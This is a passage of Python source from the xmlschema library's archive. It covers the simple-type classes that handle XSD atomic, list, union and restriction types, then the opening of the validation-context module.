bool: return False def has_mixed_content(self) -> bool: return False def is_element_only(self) -> bool: return False def is_derived(self, other: BaseXsdType, derivation: Optional[str] = None) -> bool: if derivation: if derivation == self.derivation: derivation = None # derivation mode checked elif self.derivation: return False if other.ref is not None: other = other.ref if self is other or self.ref is other: return True elif other.name in self._special_types: return derivation != 'extension' elif self.base_type is other: return True elif self.base_type is None: if isinstance(other, XsdUnion): return any(self.is_derived(m, derivation) for m in other.member_types) return False elif self.base_type.is_complex(): if not self.base_type.has_simple_content(): return False return self.base_type.content.is_derived(other, derivation) # type: ignore elif isinstance(other, XsdUnion): return any(self.is_derived(m, derivation) for m in other.member_types) else: return self.base_type.is_derived(other, derivation) def is_dynamic_consistent(self, other: BaseXsdType) -> bool: return other.name in (XSD_ANY_TYPE, XSD_ANY_SIMPLE_TYPE) or self.is_derived(other) or \ isinstance(other, XsdUnion) and any(self.is_derived(mt) for mt in other.member_types) def normalize(self, text: Union[str, bytes]) -> str: """ Normalize and restrict value-space with pre-lexical and lexical facets. :param text: text string encoded value. :return: a normalized string. """ if isinstance(text, bytes): text = text.decode('utf-8') elif not isinstance(text, str): raise XMLSchemaValueError('argument is not a string: %r' % text) if self.white_space == 'replace': return self._REGEX_SPACE.sub(' ', text) elif self.white_space == 'collapse': return self._REGEX_SPACES.sub(' ', text).strip() else: return text def text_decode(self, text: str, validation: str = 'skip', context: Optional[DecodeContext] = None) -> DecodedValueType: if context is None: self.schema.validation_context.clear() return self.raw_decode(text, validation, self.schema.validation_context) return self.raw_decode(text, validation, context) def text_is_valid(self, text: str, context: Optional[DecodeContext] = None) -> bool: if context is None: self.schema.validation_context.clear() self.raw_decode(text, 'lax', self.schema.validation_context) return not self.schema.validation_context.errors else: try: self.raw_decode(text, 'strict', context) except XMLSchemaValidationError: return False else: return True def get_atomic_value(self, value: AtomicValueType, namespaces: Optional[NsmapType] = None, strict: bool = False) -> AtomicValueType: return value def raw_decode(self, obj: Union[str, bytes], validation: str, context: DecodeContext) -> DecodedValueType: text = self.normalize(obj) if self.patterns is not None: try: self.patterns(text) except XMLSchemaValidationError as err: context.validation_error(validation, self, err, obj) for validator in self.validators: try: validator(text) except XMLSchemaValidationError as err: context.validation_error(validation, self, err, obj) return text def raw_encode(self, obj: Any, validation: str, context: EncodeContext) \ -> Optional[str]: if isinstance(obj, (str, bytes)): text = self.normalize(obj) else: obj = raw_encode_value(obj) text = '' if obj is None else obj if self.patterns is not None: try: self.patterns(text) except XMLSchemaValidationError as err: context.validation_error(validation, self, err) for validator in self.validators: try: validator(text) except XMLSchemaValidationError as err: context.validation_error(validation, self, err) return text if obj is not None else None def get_facet(self, tag: str) -> Optional[FacetsValueType]: return self.facets.get(tag) # # simpleType's derived classes: class XsdAtomic(XsdSimpleType): """ Class for atomic simpleType definitions. An atomic definition has a base_type attribute that refers to primitive or derived atomic built-in type or another derived simpleType. The primitive_type here is an extension of XSD definition of primitive type, useful for validation. """ _special_types = {XSD_ANY_TYPE, XSD_ANY_SIMPLE_TYPE, XSD_ANY_ATOMIC_TYPE} _ADMITTED_TAGS = (XSD_RESTRICTION, XSD_SIMPLE_TYPE) primitive_type: XsdSimpleType __slots__ = ('primitive_type', 'base_type') def __init__(self, elem: ElementType, schema: SchemaType, parent: Optional[XsdComponent] = None, name: Optional[str] = None, facets: Optional[dict[Optional[str], FacetsValueType]] = None, base_type: Optional[BaseXsdType] = None) -> None: if base_type is None: self.primitive_type = self self.base_type = None else: self._set_base_type(base_type) super().__init__(elem, schema, parent, name, facets) def __repr__(self) -> str: if self.name is None: return '%s(primitive_type=%r)' % ( self.__class__.__name__, self.primitive_type.local_name ) else: return '%s(name=%r)' % (self.__class__.__name__, self.prefixed_name) def _set_base_type(self, base_type: BaseXsdType) -> None: self.base_type = base_type if not hasattr(self, 'white_space') and hasattr(base_type, 'white_space'): self.white_space = base_type.white_space if hasattr(base_type, 'primitive_type'): self.primitive_type = base_type.primitive_type elif isinstance(base_type, XsdSimpleType): self.primitive_type = base_type # xs:union, xs:list or a special type elif hasattr(base_type.content, 'primitive_type'): self.primitive_type = base_type.content.primitive_type else: assert isinstance(base_type.content, XsdSimpleType) self.primitive_type = base_type.content @property def variety(self) -> Optional[str]: return 'atomic' @property def admitted_facets(self) -> set[str]: if self.primitive_type.is_complex(): return XSD_10_FACETS if self.xsd_version == '1.0' else XSD_11_FACETS return self.primitive_type.admitted_facets def is_datetime(self) -> bool: return issubclass(self.primitive_type.python_type, AbstractDateTime) def get_facet(self, tag: str) -> Optional[FacetsValueType]: facet = self.facets.get(tag) if facet is not None: return facet elif self.base_type is not None: return self.base_type.get_facet(tag) else: return None def get_atomic_value(self, value: AtomicValueType, namespaces: Optional[NsmapType] = None, strict: bool = False) -> AtomicValueType: """ Returns a full decoded atomic value for the given value. Used for ensuring that the value is compliant for facets validation. If *strict* is `True` keeps the original value unchanged, otherwise raises an error. """ if self.primitive_type is not self: return self.primitive_type.get_atomic_value(value, namespaces, strict) elif not isinstance(value, self.python_type): try: return self.to_python(value) # type: ignore[arg-type] except (ValueError, DecimalException, TypeError): if strict: raise elif self.is_qname(): if isinstance(value, str): return get_extended_qname(value, namespaces) elif isinstance(value, AbstractQName): return value.expanded_name return value def is_atomic(self) -> bool: return True def is_primitive(self) -> bool: return self.base_type is None class XsdAtomicBuiltin(XsdAtomic): """ Class for defining XML Schema built-in simpleType atomic datatypes. An instance contains a Python's type transformation and a list of validator functions. The 'base_type' is not used for validation, but only for reference to the XML Schema restriction hierarchy. Type conversion methods: - to_python(value): Decoding from XML - from_python(value): Encoding to XML """ __slots__ = ('datatype', 'instance_types', 'python_type', 'to_python', 'from_python', 'post_decode', '_admitted_facets') def __init__(self, elem: ElementType, schema: SchemaType, name: str, datatype: Type[AnyAtomicType], python_type: PythonTypeClasses, base_type: Optional['XsdAtomicBuiltin'] = None, admitted_facets: Optional[set[str]] = None, facets: Optional[dict[Optional[str], FacetsValueType]] = None, to_python: Optional[Callable[[Any], AtomicValueType]] = None, from_python: Optional[Callable[[Any], str]] = None) -> None: """ :param name: the XSD type's qualified name. :param datatype: the XSD datatype. :param python_type: the correspondent Python's type. If a tuple of types \ is provided uses the first and consider the others as compatible types. :param base_type: the reference base type, None if it's a primitive type. :param admitted_facets: admitted facets tags for type (required for primitive types). :param facets: optional facets validators. :param to_python: optional decode function. :param from_python: optional encode function. """ if isinstance(python_type, tuple): self.instance_types, python_type = python_type, python_type[0] else: self.instance_types = python_type if not isinstance(datatype, type): raise XMLSchemaTypeError(f"{datatype!r} object is not a type") if not isinstance(python_type, type): raise XMLSchemaTypeError(f"{python_type!r} object is not a type") if base_type is None and not admitted_facets and name != XSD_ERROR: raise XMLSchemaValueError("argument 'admitted_facets' must be " "a not empty set of a primitive type") self._admitted_facets = admitted_facets super().__init__(elem, schema, None, name, facets, base_type) self.datatype = datatype self.python_type = python_type self.to_python = to_python if to_python is not None else python_type self.from_python = from_python if from_python is not None else str self.post_decode = name in (XSD_QNAME, XSD_NOTATION, XSD_ID, XSD_IDREF) def __repr__(self) -> str: return '%s(name=%r)' % (self.__class__.__name__, self.prefixed_name) @property def admitted_facets(self) -> set[str]: return self._admitted_facets or self.primitive_type.admitted_facets def raw_decode(self, obj: Union[str, bytes], validation: str, context: DecodeContext) -> DecodedValueType: if isinstance(obj, (str, bytes)): obj = self.normalize(obj) elif not isinstance(obj, self.instance_types): msg = _("value is not an instance of {!r}").format(self.instance_types) context.decode_error(validation, self, obj, self.to_python, msg) if validation == 'skip': try: return self.to_python(obj) except (ValueError, TypeError, DecimalException): return raw_encode_value(obj) if self.patterns is not None: try: self.patterns(obj) except XMLSchemaValidationError as err: context.validation_error(validation, self, err) try: result: DecodedValueType = self.to_python(obj) except (ValueError, DecimalException) as err: context.decode_error(validation, self, obj, self.to_python, err) return None except TypeError: # xs:error type (e.g. an XSD 1.1 type alternative used to catch invalid values) reason = _("invalid value {!r}").format(obj) context.validation_error(validation, self, reason, obj) return None for validator in self.validators: try: validator(result) except XMLSchemaValidationError as err: context.validation_error(validation, self, err) if self.post_decode: if self.name == XSD_QNAME: if ':' not in obj: default_namespace = context.namespaces.get('') if default_namespace: result = f"{{{default_namespace}}}{obj}" else: try: prefix, name = obj.split(':') except ValueError: pass else: try: result = f"{{{context.namespaces[prefix]}}}{name}" except (TypeError, KeyError): if context.root_namespace != XSD_NAMESPACE: # For a schema is already found by meta-schema validation reason = _("unmapped prefix %r in a QName") % prefix context.validation_error(validation, self, reason, obj) elif not context.check_identities: pass # context created from a component elif self.name == XSD_IDREF: if obj not in context.id_map: context.id_map[obj] = 0 elif context.level: if context.id_list is None: if not context.id_map[obj]: context.id_map[obj] = 1 else: reason = _("duplicated xs:ID value {!r}").format(obj) context.validation_error(validation, self, reason, obj) elif not context.id_map[obj]: context.id_map[obj] = 1 context.id_list.append(obj) if len(context.id_list) > 1 and self.xsd_version == '1.0': reason = _("no more than one attribute of type ID should " "be present in an element") context.validation_error(validation, self, reason, obj) elif obj not in context.id_list or self.xsd_version == '1.0': reason = _("duplicated xs:ID value {!r}").format(obj) context.validation_error(validation, self, reason, obj) return result def raw_encode(self, obj: Any, validation: str, context: EncodeContext) \ -> Optional[str]: if isinstance(obj, (str, bytes)): obj = self.normalize(obj) if validation == 'skip': try: return self.from_python(obj) except ValueError: return raw_encode_value(obj) if isinstance(obj, bool) and self.name != XSD_BOOLEAN: msg = _("boolean value {0!r} requires a {1!r} decoder").format(obj, bool) context.encode_error(validation, self, obj, self.from_python, msg) if isinstance(obj, str): try: value = self.to_python(obj) except (ValueError, TypeError) as err: context.encode_error(validation, self, obj, self.to_python, err) return None text = obj else: if not isinstance(obj, self.instance_types): if not context.untyped_data or not isinstance(obj, UntypedAtomic): msg = _("{0!r} is not an instance of {1!r}").format(obj, self.instance_types) context.encode_error(validation, self, obj, self.to_python, msg) try: obj = self.python_type(obj) except (ValueError, TypeError) as err: context.encode_error(validation, self, obj, self.to_python, err) return None try: text = self.from_python(obj) except ValueError as err: context.encode_error(validation, self, obj, self.from_python, err) return None value = obj for validator in self.validators: try: validator(value) except XMLSchemaValidationError as err: context.validation_error(validation, self, err) if self.patterns is not None: try: self.patterns(text) except XMLSchemaValidationError as error: context.validation_error(validation, self, error) return text class XsdList(XsdSimpleType): """ Class for 'list' definitions. A list definition has an item_type attribute that refers to an atomic or union simpleType definition. .. <list id = ID itemType = QName {any attributes with non-schema namespace ...}> Content: (annotation?, simpleType?) </list> """ item_type: XsdSimpleType _ADMITTED_TAGS = XSD_LIST, _white_space_elem = ElementTree.Element( XSD_WHITE_SPACE, attrib={'value': 'collapse', 'fixed': 'true'} ) __slots__ = ('item_type',) def __init__(self, elem: ElementType, schema: SchemaType, parent: Optional[XsdComponent], name: Optional[str] = None) -> None: facets: Optional[dict[Optional[str], FacetsValueType]] = { XSD_WHITE_SPACE: XsdWhiteSpaceFacet(self._white_space_elem, schema, self, self) } super().__init__(elem, schema, parent, name, facets) if not self.item_type.allow_empty and self.min_length: self.allow_empty = False def __repr__(self) -> str: if self.name is None: return '%s(item_type=%r)' % (self.__class__.__name__, self.item_type) else: return '%s(name=%r)' % (self.__class__.__name__, self.prefixed_name) def parse(self, elem: ElementType) -> None: if elem.tag != XSD_LIST: if elem.tag == XSD_SIMPLE_TYPE: for child in elem: if child.tag == XSD_LIST: super().parse(child) return raise XMLSchemaValueError( f"a {XSD_LIST!r} definition required for {self!r}" ) super().parse(elem) def _parse(self) -> None: item_type: Any child = self._parse_child_component(self.elem) if child is not None: # Case of a local simpleType declaration inside the list tag try: item_type = self.builders.simple_type_factory(child, self.schema, self) except XMLSchemaParseError as err: self.parse_error(err) item_type = self.any_atomic_type if 'itemType' in self.elem.attrib: self.parse_error(_("ambiguous list type declaration")) else: # List tag with itemType attribute that refers to a global type try: item_qname = self.schema.resolve_qname(self.elem.attrib['itemType']) except (KeyError, ValueError, RuntimeError) as err: if 'itemType' not in self.elem.attrib: self.parse_error(_("missing list type declaration")) else: self.parse_error(err) item_type = self.any_atomic_type else: try: item_type = self.maps.types[item_qname] except KeyError: msg = _("unknown type {!r}") self.parse_error(msg.format(self.elem.attrib['itemType'])) item_type = self.any_atomic_type except XMLSchemaCircularityError as err: self.parse_error(err, err.elem) item_type = self.any_atomic_type if item_type.final == '#all' or 'list' in item_type.final: msg = _("'final' value of the itemType %r forbids derivation by list") self.parse_error(msg % item_type) if item_type.name == XSD_ANY_ATOMIC_TYPE: msg = _("cannot use xs:anyAtomicType as base type of a user-defined type") self.parse_error(msg) if item_type.is_atomic(): self.item_type = item_type else: self.parse_error(_("%r: a list must be based on atomic data types") % item_type) self.item_type = self.any_atomic_type @property def variety(self) -> Optional[str]: return 'list' @property def admitted_facets(self) -> set[str]: return XSD_10_LIST_FACETS if self.xsd_version == '1.0' else XSD_11_LIST_FACETS @property def root_type(self) -> BaseXsdType: return self.item_type.root_type def is_atomic(self) -> bool: return False def is_list(self) -> bool: return True def is_derived(self, other: BaseXsdType, derivation: Optional[str] = None) -> bool: if other.ref is not None: other = other.ref if derivation and derivation == self.derivation: derivation = None # derivation mode checked if derivation and self.derivation and derivation != self.derivation: return False elif self is other or self.ref is other: return True elif other.name in self._special_types: return derivation != 'extension' elif self.item_type is other: return True else: return False def iter_components(self, xsd_classes: ComponentClassType = None) \ -> Iterator[XsdComponent]: if xsd_classes is None or isinstance(self, xsd_classes): yield self if self.item_type.parent is not None: yield from self.item_type.iter_components(xsd_classes) def get_atomic_value(self, value: AtomicValueType, namespaces: Optional[NsmapType] = None, strict: bool = False) -> AtomicValueType: return self.item_type.get_atomic_value(value, namespaces=namespaces, strict=strict) def raw_decode(self, obj: Union[str, bytes], validation: str, context: DecodeContext) \ -> list[Optional[AtomicValueType]]: items = [] for chunk in self.normalize(obj).split(): result = self.item_type.raw_decode(chunk, validation, context) if isinstance(result, list): reason = _("unexpected nested list item {!r}").format(obj) context.validation_error(validation, self, reason, obj) items.extend(result) continue elif isinstance(result, context.keep_datatypes) or result is None: pass elif isinstance(result, str): if result[:1] == '{' and self.is_qname(): result = chunk elif isinstance(result, Decimal): if context.decimal_type is not None: result = context.decimal_type(result) elif isinstance(result, (AbstractDateTime, Duration)): result = chunk.strip() else: result = str(result) items.append(result) else: return items def raw_encode(self, obj: Any, validation: str, context: EncodeContext) -> Optional[str]: if not hasattr(obj, '__iter__') or isinstance(obj, (str, bytes)): obj = [obj] encoded_items: list[Any] = [] for item in obj: encoded_items.append(self.item_type.raw_encode(item, validation, context)) return ' '.join(item for item in encoded_items if item is not None) class XsdUnion(XsdSimpleType): """ Class for 'union' definitions. A union definition has a member_types attribute that refers to a 'simpleType' definition. .. <union id = ID memberTypes = list of QName {any attributes with non-schema namespace ...}> Content: (annotation?, simpleType*) </union> """ member_types: list[XsdSimpleType] _ADMITTED_TYPES: Any = XsdSimpleType _ADMITTED_TAGS = XSD_UNION, __slots__ = ('member_types',) def __init__(self, elem: ElementType, schema: SchemaType, parent: Optional[XsdComponent], name: Optional[str] = None) -> None: super().__init__(elem, schema, parent, name, facets=None) def __repr__(self) -> str: if self.name is None: return '%s(member_types=%r)' % (self.__class__.__name__, self.member_types) else: return '%s(name=%r)' % (self.__class__.__name__, self.prefixed_name) def parse(self, elem: ElementType) -> None: if elem.tag != XSD_UNION: if elem.tag == XSD_SIMPLE_TYPE: for child in elem: if child.tag == XSD_UNION: super().parse(child) return raise XMLSchemaValueError( f"a {XSD_UNION!r} definition required for {self!r}" ) super().parse(elem) def _parse(self) -> None: mt: Any self.member_types = [] for child in self.elem: if child.tag != XSD_ANNOTATION and not callable(child.tag): mt = self.builders.simple_type_factory(child, self.schema, self) if isinstance(mt, XMLSchemaParseError): self.parse_error(mt) else: self.member_types.append(mt) if 'memberTypes' in self.elem.attrib: for name in self.elem.attrib['memberTypes'].split(): try: type_qname = self.schema.resolve_qname(name) except (KeyError, ValueError, RuntimeError) as err: self.parse_error(err) continue try: mt = self.maps.types[type_qname] except KeyError: self.parse_error(_("unknown type {!r}").format(type_qname)) mt = self.any_atomic_type except XMLSchemaParseError as err: self.parse_error(err) mt = self.any_atomic_type except XMLSchemaCircularityError as err: self.parse_error(err, err.elem) continue if not isinstance(mt, self._ADMITTED_TYPES): msg = _("a {0!r} required, not {1!r}") self.parse_error(msg.format(self._ADMITTED_TYPES, mt)) continue elif mt.final == '#all' or 'union' in mt.final: msg = _("'final' value of the memberTypes %r forbids derivation by union") self.parse_error(msg % self.member_types) self.member_types.append(mt) if not self.member_types: self.parse_error(_("missing xs:union type declarations")) self.member_types = [self.any_atomic_type] elif any(mt.name == XSD_ANY_ATOMIC_TYPE for mt in self.member_types): msg = _("cannot use xs:anyAtomicType as base type of a user-defined type") self.parse_error(msg) else: if all(not mt.allow_empty for mt in self.member_types): self.allow_empty = False @property def variety(self) -> Optional[str]: return 'union' @property def admitted_facets(self) -> set[str]: return XSD_10_UNION_FACETS if self.xsd_version == '1.0' else XSD_11_UNION_FACETS def is_atomic(self) -> bool: return all(mt.is_atomic() for mt in self.member_types) def is_list(self) -> bool: return all(mt.is_list() for mt in self.member_types) def is_key(self) -> bool: return any(mt.is_key() for mt in self.member_types) def is_union(self) -> bool: return True def is_dynamic_consistent(self, other: Any) -> bool: return other.name in (XSD_ANY_TYPE, XSD_ANY_SIMPLE_TYPE) or \ other.is_derived(self) or isinstance(other, self.__class__) and \ any(mt1.is_derived(mt2) for mt1 in other.member_types for mt2 in self.member_types) def iter_components(self, xsd_classes: ComponentClassType = None) \ -> Iterator[XsdComponent]: if xsd_classes is None or isinstance(self, xsd_classes): yield self for mt in filter(lambda x: x.parent is not None, self.member_types): yield from mt.iter_components(xsd_classes) def get_atomic_value(self, value: AtomicValueType, namespaces: Optional[NsmapType] = None, strict: bool = False) -> AtomicValueType: values = [] for mt in self.member_types: try: values.append(mt.get_atomic_value(value, namespaces, strict=True)) except (TypeError, ValueError, DecimalException): pass if not values: if strict: msg = f'{self!r} has not compatible types for decoding the given value' raise XMLSchemaTypeError(msg) return value elif any(v == value for v in values): return value else: return values[0] def raw_decode(self, obj: Union[str, bytes], validation: str, context: DecodeContext) \ -> DecodedValueType: patterns = context.patterns # Use and clean pushed patterns context.patterns = None xsd_type = None for mt in self.member_types: try: result = mt.raw_decode(obj, 'strict', context) except XMLSchemaValidationError as err: if xsd_type is None and not isinstance(err, XMLSchemaDecodeError): xsd_type = mt else: if patterns and isinstance(obj, (str, bytes)): try: patterns(mt.normalize(obj)) except XMLSchemaValidationError as err: context.validation_error(validation, self, err) return result if validation == 'skip': return raw_encode_value(obj) elif validation == 'lax' and xsd_type is not None: result = xsd_type.raw_decode(obj, validation, context) if patterns and isinstance(obj, (str, bytes)): try: patterns(xsd_type.normalize(obj)) except XMLSchemaValidationError as err: context.validation_error(validation, self, err) return result msg = _("invalid value {!r}").format(obj) context.decode_error(validation, self, obj, self.member_types, msg) return None def raw_encode(self, obj: Any, validation: str, context: EncodeContext) -> Optional[str]: patterns = context.patterns # Use and clean pushed patterns context.patterns = None xsd_type = None for mt in self.member_types: try: result = mt.raw_encode(obj, 'strict', context) except XMLSchemaValidationError as err: if xsd_type is None and not isinstance(err, XMLSchemaEncodeError): xsd_type = mt else: if patterns and isinstance(result, str): try: patterns(mt.normalize(result)) except XMLSchemaValidationError as err: context.validation_error(validation, self, err) return result if validation == 'skip': return raw_encode_value(obj) elif validation == 'lax' and xsd_type is not None: result = xsd_type.raw_encode(obj, validation, context) if patterns and isinstance(result, str): try: patterns(result) except XMLSchemaValidationError as err: context.validation_error(validation, self, err) return result msg = _("no type suitable for encoding the object") context.encode_error(validation, self, obj, self.member_types, msg) return None class Xsd11Union(XsdUnion): _ADMITTED_TYPES = XsdAtomic, XsdList, XsdUnion class XsdAtomicRestriction(XsdAtomic): """ Class for XSD 1.0 atomic simpleType and complexType's simpleContent restrictions. .. <restriction base = QName id = ID {any attributes with non-schema namespace . . .}> Content: (annotation?, (simpleType?, (minExclusive | minInclusive | maxExclusive | maxInclusive | totalDigits | fractionDigits | length | minLength | maxLength | enumeration | whiteSpace | pattern)*)) </restriction> """ parent: 'XsdSimpleType' base_type: BaseXsdType derivation = 'restriction' _CONTENT_TAIL_TAGS = {XSD_ATTRIBUTE, XSD_ATTRIBUTE_GROUP, XSD_ANY_ATTRIBUTE} def parse(self, elem: ElementType) -> None: if self.name != XSD_ANY_ATOMIC_TYPE and elem.tag != XSD_RESTRICTION: if not (elem.tag == XSD_SIMPLE_TYPE and elem.get('name') is not None): raise XMLSchemaValueError( "an xs:restriction definition required for %r." % self ) super().parse(elem) def _parse(self) -> None: elem = self.elem if elem.get('name') == XSD_ANY_ATOMIC_TYPE: return # skip special type xs:anyAtomicType elif elem.tag == XSD_SIMPLE_TYPE and elem.get('name') is not None: # Global simpleType with internal restriction elem = cast(ElementType, self._parse_child_component(elem)) if self.name is not None and self.parent is not None: msg = _("'name' attribute in a local simpleType definition") self.parse_error(msg) base_type: Any = None facets: Any = {} has_attributes = False has_simple_type_child = False if 'base' in elem.attrib: try: base_qname = self.schema.resolve_qname(elem.attrib['base']) except (KeyError, ValueError, RuntimeError) as err: self.parse_error(err) base_type = self.any_atomic_type else: if base_qname == self.name: if self.redefine is None: msg = _("wrong definition with self-reference") self.parse_error(msg) base_type = self.any_atomic_type else: base_type = self.base_type else: if self.redefine is not None: msg = _("wrong redefinition without self-reference") self.parse_error(msg) try: base_type = self.maps.types[base_qname] except KeyError: self.parse_error(_("unknown type {!r}").format(elem.attrib['base'])) base_type = self.any_atomic_type except XMLSchemaParseError as err: self.parse_error(err) base_type = self.any_atomic_type except XMLSchemaCircularityError as err: self.parse_error(err, err.elem) base_type = self.any_atomic_type if base_type.is_simple() and base_type.name == XSD_ANY_SIMPLE_TYPE: msg = _("wrong base type %r, an atomic type required") self.parse_error(msg % XSD_ANY_SIMPLE_TYPE) elif base_type.is_complex(): if base_type.mixed and base_type.is_emptiable(): child = self._parse_child_component(elem, strict=False) if child is None: msg = _("an xs:simpleType definition expected") self.parse_error(msg) elif child.tag != XSD_SIMPLE_TYPE: # See: "http://www.w3.org/TR/xmlschema-2/#element-restriction" self.parse_error(_( "when a complexType with simpleContent restricts a complexType " "with mixed and with emptiable content then a simpleType child " "declaration is required" )) elif self.parent is None or self.parent.is_simple(): msg = _("simpleType restriction of %r is not allowed") self.parse_error(msg % base_type) for child in elem: if child.tag == XSD_ANNOTATION or callable(child.tag): continue elif child.tag in self._CONTENT_TAIL_TAGS: has_attributes = True # only if it's a complexType restriction elif has_attributes: msg = _("unexpected tag after attribute declarations") self.parse_error(msg) elif child.tag == XSD_SIMPLE_TYPE: # Case of simpleType declaration inside a restriction if has_simple_type_child: msg = _("duplicated simpleType declaration") self.parse_error(msg) if base_type is None: try: base_type = self.builders.simple_type_factory( child, self.schema, self ) except XMLSchemaParseError as err: self.parse_error(err, child) base_type = self.any_simple_type elif base_type.is_complex(): if base_type.admit_simple_restriction(): base_type = self.builders.complex_type_class( elem=elem, schema=self.schema, parent=self, content=self.builders.simple_type_factory( child, self.schema, self ), attributes=base_type.attributes, mixed=base_type.mixed, block=base_type.block, final=base_type.final, ) elif 'base' in elem.attrib: msg = _("restriction with 'base' attribute and simpleType declaration") self.parse_error(msg) has_simple_type_child = True else: try: facet_class = self.builders.facets[child.tag] except KeyError: self.parse_error(_("unexpected tag %r in restriction") % child.tag) continue if child.tag not in facets: facets[child.tag] = facet_class(child, self.schema, self, base_type) elif child.tag not in MULTIPLE_FACETS: msg = _("multiple %r constraint facet") self.parse_error(msg % local_name(child.tag)) elif child.tag != XSD_ASSERTION: facets[child.tag].append(child) else: assertion = facet_class(child, self.schema, self, base_type) try: facets[child.tag].append(assertion) except AttributeError: facets[child.tag] = [facets[child.tag], assertion] if base_type is None: self.parse_error(_("missing base type in restriction")) elif base_type.final == '#all' or 'restriction' in base_type.final: msg = _("'final' value of the baseType %r forbids derivation by restriction") self.parse_error(msg % base_type) if base_type.name == XSD_ANY_ATOMIC_TYPE: msg = _("cannot use xs:anyAtomicType as base type of a user-defined type") self.parse_error(msg) self._set_base_type(base_type) self.facets = facets @property def variety(self) -> Optional[str]: return cast(Optional[str], getattr(self.base_type, 'variety', None)) def iter_components(self, xsd_classes: ComponentClassType = None) \ -> Iterator[XsdComponent]: if xsd_classes is None: yield self for facet in self.facets.values(): if isinstance(facet, list): yield from facet # XSD 1.1 assertions can be more than one elif isinstance(facet, XsdFacet): yield facet # only XSD facets, skip callables else: if isinstance(self, xsd_classes): yield self if issubclass(XsdFacet, xsd_classes): for facet in self.facets.values(): if isinstance(facet, list): yield from facet elif isinstance(facet, XsdFacet): yield facet if self.base_type.parent is not None: yield from self.base_type.iter_components(xsd_classes) def raw_decode(self, obj: Union[str, bytes], validation: str, context: DecodeContext) -> DecodedValueType: if isinstance(obj, (str, bytes)): obj = self.normalize(obj) if self.patterns: if not isinstance(self.primitive_type, XsdUnion): try: self.patterns(obj) except XMLSchemaValidationError as err: context.validation_error(validation, self, err) elif context.patterns is None: context.patterns = self.patterns if isinstance(self.base_type, XsdSimpleType): base_type = self.base_type elif isinstance(self.base_type.content, XsdSimpleType): base_type = self.base_type.content elif self.base_type.mixed: return obj else: # pragma: no cover msg = _("wrong base type %r: a simpleType or a complexType " "with simple or mixed content required") raise XMLSchemaValueError(msg % self.base_type) result = base_type.raw_decode(obj, validation, context) if result is not None: for validator in self.validators: try: validator(result) except XMLSchemaValidationError as err: context.validation_error(validation, self, err) return result def raw_encode(self, obj: Any, validation: str, context: EncodeContext) -> Optional[str]: base_type: XsdSimpleType if isinstance(self.base_type, XsdSimpleType): base_type = self.base_type elif isinstance(self.base_type.content, XsdSimpleType) and self.max_length != 0: base_type = self.base_type.content elif self.base_type.mixed: return str(obj) else: # pragma: no cover msg = _("wrong base type %r: a simpleType or a complexType " "with simple or mixed content required") raise XMLSchemaValueError(msg % self.base_type) if self.is_list(): if not hasattr(obj, '__iter__') or isinstance(obj, (str, bytes)): obj = [] if obj is None or obj == '' else [obj] elif isinstance(obj, (str, bytes)): obj = self.normalize(obj) if self.patterns: if context.patterns is None and isinstance(self.primitive_type, XsdUnion): context.patterns = self.patterns result = base_type.raw_encode(obj, validation, context) if self.validators: value: DecodedValueType if isinstance(obj, list): value = [self.get_atomic_value(x, context.namespaces) for x in obj] else: value = self.get_atomic_value(obj, context.namespaces) for validator in self.validators: try: validator(value) except XMLSchemaValidationError as err: context.validation_error(validation, self, err) if self.patterns and not isinstance(self.primitive_type, XsdUnion) and result is not None: try: self.patterns(result) except XMLSchemaValidationError as err: context.validation_error(validation, self, err) return result def is_list(self) -> bool: return self.primitive_type.is_list() def is_union(self) -> bool: return self.primitive_type.is_union() class Xsd11AtomicRestriction(XsdAtomicRestriction): """ Class for XSD 1.1 atomic simpleType and complexType's simpleContent restrictions. .. <restriction base = QName id = ID {any attributes with non-schema namespace . . .}> Content: (annotation?, (simpleType?, (minExclusive | minInclusive | maxExclusive | maxInclusive | totalDigits | fractionDigits | length | minLength | maxLength | enumeration | whiteSpace | pattern | assertion | explicitTimezone | {any with namespace: ##other})*)) </restriction> """ _CONTENT_TAIL_TAGS = {XSD_ATTRIBUTE, XSD_ATTRIBUTE_GROUP, XSD_ANY_ATTRIBUTE, XSD_ASSERT} ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/validators/validation.py��������������������������������������������������0000664�0000000�0000000�00000062664�15020401055�0022340�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import copy import decimal import logging from abc import abstractmethod from collections import Counter from collections.abc import Iterable, Iterator, MutableMapping from typing import Any, cast, Generic, Optional, Type, TYPE_CHECKING, TypeVar, Union from xml.etree.ElementTree import Element from elementpath.datatypes import AnyAtomicType, AbstractDateTime, AbstractBinary, Duration from xmlschema.exceptions import XMLSchemaValueError, XMLSchemaTypeError from xmlschema.aliases import DecodeType, DepthFillerType, ElementType, \ ElementHookType, EncodeType, ExtraValidatorType, FillerType, IterDecodeType, \ IterEncodeType, ModelParticleType, NsmapType, SchemaElementType, \ SchemaType, ValidationHookType, ValueHookType, ErrorsType, ClassInfoType, \ DecodedValueType from xmlschema.translation import gettext as _ from xmlschema.utils.decoding import EmptyType, raw_encode_value from xmlschema.utils.etree import is_etree_element, is_etree_document from xmlschema.utils.logger import format_xmlschema_stack from xmlschema.utils.qnames import get_prefixed_qname from xmlschema.namespaces import NamespaceMapper from xmlschema.converters import XMLSchemaConverter, ConverterType, get_converter from xmlschema.resources import XMLResource from .exceptions import XMLSchemaValidationError, \ XMLSchemaChildrenValidationError, XMLSchemaDecodeError, XMLSchemaEncodeError if TYPE_CHECKING: from .xsdbase import XsdValidator from .facets import XsdPatternFacets from .identities import XsdIdentity, IdentityCounter logger = logging.getLogger('xmlschema') XSD_VALIDATION_MODES = {'strict', 'lax', 'skip'} """ XML Schema validation modes Ref.: https://www.w3.org/TR/xmlschema11-1/#key-va """ def check_validation_mode(validation: str) -> None: if not isinstance(validation, str): raise XMLSchemaTypeError(_("validation mode must be a string")) if validation not in XSD_VALIDATION_MODES: raise XMLSchemaValueError(_("validation mode can be 'strict', " "'lax' or 'skip': %r") % validation) class ValidationContext: """ A context class for handling validated decoding process. It stores together status-related fields, that are updated or set during the validation process, and parameters, as specific values or functions. Parameters can be provided as keyword-only arguments. """ validation_only: bool = True # Common status: set once, updated by validators. errors: 